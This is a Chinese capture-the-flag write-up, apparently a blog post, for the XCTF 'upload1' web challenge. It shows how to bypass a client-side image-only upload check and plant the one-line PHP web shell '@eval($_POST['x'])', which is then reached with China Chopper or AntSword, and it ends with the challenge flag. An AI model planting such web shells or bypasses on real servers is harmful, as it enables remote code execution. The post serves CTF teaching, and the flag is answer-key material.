【攻防世界 XCTF】 WEB 高手进阶 upload1 ——卖菜刀，上蚁剑

最新推荐文章于 2024-10-26 20:06:58 发布

原创最新推荐文章于 2024-10-26 20:06:58 发布 · 611 阅读

1 ·

CC 4.0 BY-SA版权

文章标签：

#php #js #web #安全 #安全漏洞

Web安全专栏收录该内容

53 篇文章

订阅专栏

本文探讨了如何绕过前端对图片上传的限制，通过修改前端代码实现任意文件类型的上传，并展示了一个上传PHP代码文件的例子。



<!Doctype html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<script type="text/javascript">
 

Array.prototype.contains = function (obj) {  
    var i = this.length;  
    while (i--) {  
        if (this[i] === obj) {  
            return true;  
        }  
    }  
    return false;  
}  

function check(){
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+\./,'');

if(['jpg','png'].contains(ext)){
	submit.disabled = false;
}else{
	submit.disabled = true;

	alert('请选择一张图片文件上传!');
}


}

</script>

</head>
<body>



<form enctype='multipart/form-data' id='aa' name='aaa' method='post' action='index.php'> 
<input  id="upfile" name='upfile' type='file' onchange="check();" /> 

<input type='submit'  id ='submit' value='上传'> 
</form> 



</body>

前端上传限制只能是图片

F12
在这里插入图片描述把前端里面的限制函数删掉！

变成这样子——
在这里插入图片描述
上传一句话我爱你：Trojan

<?php @eval($_POST['x']) ?>

在这个页面
http://124.126.19.106:55113/index.php
上传成功

找到上传文件的位置，题目显示了/upload/1588499500.cknife.php

所以文件就在
http://124.126.19.106:55113/upload/1588499500.cknife.php

菜刀可，蚁剑也可

你若菜刀cknife
在这里插入图片描述

在这里插入图片描述

法宝一：
在这里插入图片描述

在这里插入图片描述不二法宝：
附上小旗帜🚩
flag=“cyberpeace{5327a18ceab8d7b4b1db828776bbe303}”